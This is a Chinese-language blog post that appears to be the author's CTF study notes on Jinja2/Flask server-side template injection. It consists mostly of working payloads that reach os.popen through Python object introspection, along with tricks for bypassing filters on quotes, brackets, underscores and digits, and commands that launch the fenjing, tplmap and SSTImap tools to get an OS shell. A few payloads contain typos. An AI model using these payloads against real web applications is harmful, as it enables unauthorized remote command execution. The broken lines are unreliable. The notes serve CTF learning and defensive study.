SSTI注入与绕过

考试周结束了,也该做做自己的事情了

我把很早之前打的笔记整理了一下,想想还是发了出来

由于是很早前写的,想着是自己看的,所以有些代码就没解释,内容严谨性和连贯性都有所欠缺,欢迎大佬指出错误,我会积极改正

部分代码来自CSDN和NSSCTF大佬的文章,侵权必删

SSTI注入与绕过

测试是否能渲染

看哪些类可用

{{”.__class__.__base__.__subclasses__()}}

{{[].__class__.__base__.__subclasses__()}}

{{config.__class__.__init__.__globals__}}

#命令执行可有两种类os和subprocess,依据具体情况看看环境中有没有该类,然后调用相应的类

找利用类索引

<class ‘os._wrap_close’>

找利用类方法

{{”.__class__.__base__.__subclasses__()[113].__init__.globals__}}

构造利用类方法

{{”.__class__.__base__.__subclasses__()[113].__init__.globals__.popen(‘xxx’)}}

字符型

{{[].__class__.__base__.__subclasses__()[113].__init__.globals__[‘popen’](‘calc’)}}

读取运行结果

{{”.__class__.__base__.__subclasses__()[113].__init__.__globals__[‘popen’](‘whoami’).read()}}

其他调用方法

config:{{config.__class__.__init__.__globals__[‘os’].popen(‘calc’)}}

url_for:{{url_for.__globals__.os.popen(‘calc’)}}

lipsum:{{lipsum.__globals__[‘os’].popen(‘calc’)}}

get_flashed_messages:{{get_flashed_messages.__globals__[‘os’].popen(‘calc’)}}

过滤

如果’被过滤可以用python中的request传参

过滤’

{{[].__class__.__base__.__subclasses__()[113].__init__.globals__[request.args.x](request.args.y).read()}}&x=popen&y=cat /flag

x,y为参数,可写任意值

{{config.__class__.__init__.__globals__[request.args.x].popen(request.args.y).read()}}&x=os&y=cat /flag

过滤args

args改为values或cookies

过滤[] ‘

url_for:{{url_for.__globals__.os.popen(‘calc’)}}

过滤了下划线_

lipsum:{{(lipsum|attr(request.values.x)).os.popen(request.values.b).read()}}&x=__globals__&b=cat /flag

config:

name={{”.__class__.__base__.__subclasses__()[113].__init__.globals__}}

name={{”.__class__.__base__.__subclasses__()[113]..__init__.globals__.popen(‘calc’)}}

//popen为调用方法calc为执行命令

name={{[].__class__.__base__.__subclasses__()[113].__init__.globals__[‘popen’](‘calc’)}}

绕过数字

对于数字的话,可以这么构造:
{% set a='aaaaaaaaaa'|length %}{{a}}这样出来值为10

当然里面也是能进行运算的:
{% set a='aaaaaaaaaa'|length*'aaa'|length %}{{a}}这样出来值为30

SSTI终极工具——fenjing

全自动化绕过,只需要直接执行命令即可(仅支持http)

kali中安装

pip install fenjing

使用

python -m fenjing scan –url ‘http://…’

打开网站ui

python -m fenjing webui

工具

tplmap

tplmap.py -u example.com/?name=* –os–shell

SSTImap

python sstimap.py -u example.com/?name=* –os-shell

文末附加内容
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇